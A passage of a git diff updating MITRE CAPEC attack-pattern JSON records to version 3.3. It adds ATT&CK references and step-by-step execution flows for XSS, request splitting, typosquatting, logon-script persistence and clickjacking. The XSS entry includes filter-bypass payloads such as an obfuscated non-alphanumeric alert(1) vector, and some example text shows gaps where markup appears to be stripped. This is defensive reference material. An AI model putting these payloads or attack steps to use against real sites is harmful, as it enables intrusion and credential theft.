"bundle--cb7cf724-4cba-441a-8cbe-1ee6d935183b", + "id": "bundle--8418022d-56cc-4eb7-92a8-6756bf33a538", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ "\n The attacker must understand how the logging mechanism works.\n Optionally, the attacker must know the location and the format of individual entries of the log files.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328.json b/capec/attack-pattern/attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328.json index 94e486970c..d6951d8691 100644 --- a/capec/attack-pattern/attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328.json +++ b/capec/attack-pattern/attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--903b794b-8517-4bcc-9052-35833b400a60", + "id": "bundle--bb151ba5-46d6-4735-b9fe-c208879b93cc", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Fuzzing and observing application log data/errors for application mapping", "description": "An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. Fuzzing techniques involve sending random or malformed messages to a target and monitoring the target's response. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash. By observing logs and error messages, the attacker can learn details about the configuration of the target application and might be able to cause the target to disclose sensitive information.", "external_references": [ @@ -40,6 +40,7 @@ "x_capec_example_instances": [ "\n The following code generates an error message that leaks the full pathname of the configuration file.\n $ConfigDir = \"/home/myprog/config\";$uname = GetUserInput(\"username\");ExitError(\"Bad hacker!\") if ($uname !~ /^\\w+$/);$file = \"$ConfigDir/$uname.txt\";if (! (-e $file)) { ExitError(\"Error: $file does not exist\"); }...\n If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probing: The attacker uses fuzzing tools to send random malformed messages to web server and observes for server's log or error message.

    2. Techniques
    The attacker uses fuzzing tools to send random malformed messages to web server and observes for server's log or error message.

Experiment

  1. Modify the parameters to get the desired information from the error messages.: Attacker usually needs to modify the fuzzing parameters according to the observed error messages to get the desired sensitive information for the application. To defeat correlation, the attacker may try changing the origin IP addresses or client browser identification strings or start a new session from where they left off in obfuscating the attack.

    2. Techniques
    Modify the parameters in the fuzzing tool according to the observed error messages. Repeat with enough parameters until the application has been sufficiently mapped.
    If the application rejects the large amount of fuzzing messages from the same host machine, the attacker needs to hide the attacks by changing the IP addresses or other credentials.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target application must fail to sanitize incoming messages adequately before processing." @@ -52,7 +53,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7.json b/capec/attack-pattern/attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7.json index 39333e4c4f..78afb009e9 100644 --- a/capec/attack-pattern/attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7.json +++ b/capec/attack-pattern/attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b83e63e0-83af-445e-b4cf-7504acbb578d", + "id": "bundle--2dd6a0a8-f515-427a-a409-e09bf71fb9ec", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Process Footprinting", "description": "An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Process Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1057", + "external_id": "T1057" } ], "object_marking_refs": [ @@ -52,7 +58,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4.json b/capec/attack-pattern/attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4.json index cdb557ca9b..a5a52f850c 100644 --- a/capec/attack-pattern/attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4.json +++ b/capec/attack-pattern/attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--89b717d1-19c2-482c-a41a-4bbe0118a8c3", + "id": "bundle--bb2459d4-6ac5-4000-b4de-c13f7a944ff9", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b.json b/capec/attack-pattern/attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b.json index 2f9702e2d3..c3f074de54 100644 --- a/capec/attack-pattern/attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b.json +++ b/capec/attack-pattern/attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6bb63fdd-00b7-46d7-8139-5978701c02b6", + "id": "bundle--491d60d9-0c0b-46b6-a440-508daa27eafd", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Run Software at Logon", "description": "Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.", "external_references": [ @@ -21,6 +21,36 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Initialization Scripts:Logon Script (Windows)", + "url": "https://attack.mitre.org/wiki/Technique/T1037/001", + "external_id": "T1037.001" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Initialization Scripts:Logon Script (Mac)", + "url": "https://attack.mitre.org/wiki/Technique/T1037/002", + "external_id": "T1037.002" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Initialization Scripts:Network Logon Script", + "url": "https://attack.mitre.org/wiki/Technique/T1037/003", + "external_id": "T1037.003" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Launch Agent", + "url": "https://attack.mitre.org/wiki/Technique/T1543/001", + "external_id": "T1543.001" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Plist Modification", + "url": "https://attack.mitre.org/wiki/Technique/T1547/011", + "external_id": "T1547.011" } ], "object_marking_refs": [ @@ -28,7 +58,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33.json b/capec/attack-pattern/attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33.json index d60d59ba4a..f7c6e568c5 100644 --- a/capec/attack-pattern/attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33.json +++ b/capec/attack-pattern/attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5fb242ba-dded-47cc-95b4-4287b08b21e9", + "id": "bundle--dfcd5e10-88d1-4ed9-af41-2544a3650a8f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Buffer Overflow in Local Command-Line Utilities", "description": "This attack targets command-line utilities available in a number of shells. An attacker can leverage a vulnerability found in a command-line utility to escalate privilege to root.", "external_references": [ @@ -91,6 +91,7 @@ "x_capec_example_instances": [ "\n \n Attack Example: HPUX passwd\n A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option.\n \n \n Attack Example: Solaris getopt\n A buffer overflow in Solaris's getopt command (found in libc) allows local users to gain root privileges via a long argv[0].\n \n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Attacker identifies command utilities exposed by the target host.

Experiment

  1. On the probing stage, the attacker interacts with the command utility and observes the results of its input. The attacker's goal is to uncover a buffer overflow in the command utility. For instance the attacker may find that input data are not properly validated.

Exploit

  1. The attacker finds a buffer overflow vulnerability in the command utility and tries to exploit it. They craft malicious code and injects it using the command utility. The attacker can at worst execute remote code on the target host.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target host exposes a command-line utility to the user.", @@ -102,7 +103,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf.json b/capec/attack-pattern/attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf.json index 4f898db684..17d6de25ab 100644 --- a/capec/attack-pattern/attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf.json +++ b/capec/attack-pattern/attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e950e86f-a6aa-40a2-a17a-5fa34c507fc6", + "id": "bundle--685cbefc-c850-4118-a5e2-e4275d2eda34", "spec_version": "2.0", "objects": [ { @@ -36,6 +36,7 @@ "x_capec_example_instances": [ "\n An adversary sends an email, impersonating paypal.com, to a user stating that they have just received a money transfer and to click the given link to obtain their money.\n However, the link the in email is paypa1.com instead of paypal.com, which the user clicks without fully reading the link.\n The user is directed to the adversary's website, which appears as if it is the legitimate paypal.com login page.\n The user thinks they are logging into their account, but have actually just given their paypal credentials to the adversary. The adversary can now use the user's legitimate paypal credentials to log into the user's account and steal any money which may be in the account.\n TypoSquatting vulnerability allows an adversary to impersonate a trusted domain and trick a user into visiting the malicious website to steal user credentials.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.

    2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the TypoSquatted URL.

    2. Techniques
    Register the TypoSquatted domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the TypoSquatted domain.

    2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the TypoSquatted domain.
    Assume that a user will incorrectly type the legitimate URL, leading the user to the TypoSquatted domain.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets." @@ -45,7 +46,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b6f5248a-346f-484f-8091-8ab84288aa81.json b/capec/attack-pattern/attack-pattern--b6f5248a-346f-484f-8091-8ab84288aa81.json index 73fdd65861..54365545e2 100644 --- a/capec/attack-pattern/attack-pattern--b6f5248a-346f-484f-8091-8ab84288aa81.json +++ b/capec/attack-pattern/attack-pattern--b6f5248a-346f-484f-8091-8ab84288aa81.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c50f2d4a-153e-49fd-aa57-f74dcad93c7e", + "id": "bundle--42d76de9-44c5-4133-b648-f3a2f15bf677", "spec_version": "2.0", "objects": [ { @@ -34,7 +34,7 @@ "The attacker must be able to manipulate the communications to the targeted application or service." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33.json b/capec/attack-pattern/attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33.json index a88bcc308b..11ff968107 100644 --- a/capec/attack-pattern/attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33.json +++ b/capec/attack-pattern/attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--64e3252a-7cbd-42fe-ae3b-6b8a4e81f248", + "id": "bundle--ac83ddef-6f4c-4d4d-a036-f74a77b2cb2d", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Using Alternate Syntax", "description": "An adversary uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the \"script\" tag using the alternate forms of \"Script\" or \"ScRiPt\" may bypass filters where \"script\" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.", "external_references": [ @@ -77,8 +77,9 @@ ] }, "x_capec_example_instances": [ - "\n In this example, the attacker tries to get executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter:\n alert(1)\n when the applications gets this input string, it will replace all \"script\" (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker:\n \n In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., ). For the attacker to execute the same payload as in the previous example, he would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter\n ((\\w+)\\s*\\(.*\\)|alert|eval|function|document)\n and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string \"alert\" would be stripped. An attacker will then create a special payload to bypass this filter:\n this['al' + 'ert'](1)\n when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example,\n ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)\n would be executed by the JavaScript engine like alert(1) is.\n " + "\n In this example, the attacker tries to get executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter:\n alert(1)\n when the applications gets this input string, it will replace all \"script\" (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker:\n \n In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., ). For the attacker to execute the same payload as in the previous example, they would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter\n ((\\w+)\\s*\\(.*\\)|alert|eval|function|document)\n and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string \"alert\" would be stripped. An attacker will then create a special payload to bypass this filter:\n this['al' + 'ert'](1)\n when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example,\n ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)\n would be executed by the JavaScript engine like alert(1) is.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt injection payload variations on input parameters: Possibly using an automated tool, an attacker requests variations on the inputs they surveyed before. They send parameters that include variations of payloads. The payloads are designed to bypass incomplete filtering (e.g., incomplete HTML encoding etc.) and tries many variations of characters injection that would enable the XSS payload. They record all the responses from the server that include unmodified versions of their script.

    2. Techniques
    Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier. Attempt numerous variations based on form, format, syntax & encoding.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target client software must allow scripting such as JavaScript." @@ -92,7 +93,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b8276f56-5e2c-486a-95cb-e6c8bb38b4fb.json b/capec/attack-pattern/attack-pattern--b8276f56-5e2c-486a-95cb-e6c8bb38b4fb.json index f8c9d6343c..d20ff33562 100644 --- a/capec/attack-pattern/attack-pattern--b8276f56-5e2c-486a-95cb-e6c8bb38b4fb.json +++ b/capec/attack-pattern/attack-pattern--b8276f56-5e2c-486a-95cb-e6c8bb38b4fb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2f44edb8-dab5-4635-8d18-429bedcf4778", + "id": "bundle--c9dbe198-2c4f-4695-aef4-b7833b926ffa", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b8923381-6219-46bf-b05d-3fa706c0d467.json b/capec/attack-pattern/attack-pattern--b8923381-6219-46bf-b05d-3fa706c0d467.json index b68017986e..6f34269d1d 100644 --- a/capec/attack-pattern/attack-pattern--b8923381-6219-46bf-b05d-3fa706c0d467.json +++ b/capec/attack-pattern/attack-pattern--b8923381-6219-46bf-b05d-3fa706c0d467.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--99e9fea8-95c0-4390-974b-81339ce56601", + "id": "bundle--ff0a049b-b327-455d-8f13-de81922e8391", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b89511b6-f0fb-4c1d-a884-a0d5a0d82b4e.json b/capec/attack-pattern/attack-pattern--b89511b6-f0fb-4c1d-a884-a0d5a0d82b4e.json index f975b8944d..21707d7f06 100644 --- a/capec/attack-pattern/attack-pattern--b89511b6-f0fb-4c1d-a884-a0d5a0d82b4e.json +++ b/capec/attack-pattern/attack-pattern--b89511b6-f0fb-4c1d-a884-a0d5a0d82b4e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8b8802f6-fee3-4688-be42-0d0f55bfcfcc", + "id": "bundle--52076d23-a6d2-438f-ac14-e4a23555b7d7", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b89511b6-f0fb-4c1d-a884-a0d5a0d82b4e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "HTTP Request Splitting", "description": "HTTP Request Splitting (also known as HTTP Request Smuggling) is an attack pattern where an attacker attempts to insert additional HTTP requests in the body of the original (enveloping) HTTP request in such a way that the browser interprets it as one request but the web server interprets it as two. There are several ways to perform HTTP request splitting attacks. One way is to include double Content-Length headers in the request to exploit the fact that the devices parsing the request may each use a different header. Another way is to submit an HTTP request with a \"Transfer Encoding: chunked\" in the request header set with setRequestHeader to allow a payload in the HTTP Request that can be considered as another HTTP Request by a subsequent parsing entity. A third way is to use the \"Double CR in an HTTP header\" technique. There are also a few less general techniques targeting specific parsing vulnerabilities in certain web servers.", "external_references": [ @@ -17,11 +17,6 @@ "url": "https://capec.mitre.org/data/definitions/105.html", "external_id": "CAPEC-105" }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/436.html", - "external_id": "CWE-436" - }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/444.html", @@ -55,6 +50,7 @@ "x_capec_example_instances": [ "\n Microsoft Internet Explorer versions 5.01 SP4 and prior, 6.0 SP2 and prior, and 7.0 contain a vulnerability that could allow an unauthenticated, remote attacker to conduct HTTP request splitting and smuggling attacks.\n The vulnerability is due to an input validation error in the browser that allows attackers to manipulate certain headers to expose the browser to HTTP request splitting and smuggling attacks. Attacks may include cross-site scripting, proxy cache poisoning, and session fixation. In certain instances, an exploit could allow the attacker to bypass web application firewalls or other filtering devices.\n Microsoft has confirmed the vulnerability and released software updates\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Investigate Target Environment: Determine the technologies used in the target environment such as types of browsers, web servers, application firewalls, proxies, etc.

    2. Techniques
    Investigation of the target environment to determine the types of technologies used to parse the incoming HTTP requests. Attempt to understand how HTTP Request headers are parsed

Exploit

  1. Post a malicious HTTP Request: Post a malicious HTTP request that will be interpreted as multiple HTTP requests when parsed on the server

    2. Techniques
    Post a malicious HTTP Request utilizing double CR/LF characters in HTTP header to cause request splitting
    Post a malicious HTTP Request utilizing \"Transfer Encoding: chunked\" in the request header to cause request splitting
    Post a malicious HTTP Request utilizing double Content-Length headers to cause request splitting
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "User-manipulateable HTTP Request headers are processed by the web server" @@ -67,7 +63,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5.json b/capec/attack-pattern/attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5.json index 2160a1a690..ad653997e9 100644 --- a/capec/attack-pattern/attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5.json +++ b/capec/attack-pattern/attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4d5f759c-e6e7-405b-9935-9c2e49fc4e1a", + "id": "bundle--dbc90be7-7986-4138-945e-63711c2ba39a", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "iFrame Overlay", - "description": "In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the attackers' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the attacker wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the attacker may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks he or she is clicking on versus what he or she is actually clicking on.", + "description": "In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the attackers' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the attacker wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the attacker may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on.", "external_references": [ { "source_name": "capec", @@ -65,8 +65,9 @@ ] }, "x_capec_example_instances": [ - "The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled \"Don't Click.\" This button is aligned with the invisible \"Update\" button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to his/ her Twitter profile." + "The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled \"Don't Click.\" This button is aligned with the invisible \"Update\" button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to their Twitter profile." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Craft an iFrame Overlay page: The attacker crafts a malicious iFrame overlay page.

    2. Techniques
    The attacker leverages iFrame overlay capabilities to craft a malicious iFrame overlay page.

Exploit

  1. Attacker tricks victim to load the iFrame overlay page: Attacker utilizes some form of temptation, misdirection or coercion to trick the victim to loading and interacting with the iFrame overlay page in a way that increases the chances that the victim will visit the malicious page.

    2. Techniques
    Trick the victim to the malicious site by sending the victim an e-mail with a URL to the site.
    Trick the victim to the malicious site by manipulating URLs on a site trusted by the victim.
    Trick the victim to the malicious site through a cross-site scripting attack.

  2. Trick victim into interacting with the iFrame overlay page in the desired manner: The attacker tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.

    3. Techniques
    Hide action controls over very commonly used functionality.
    Hide action controls over very psychologically tempting content.
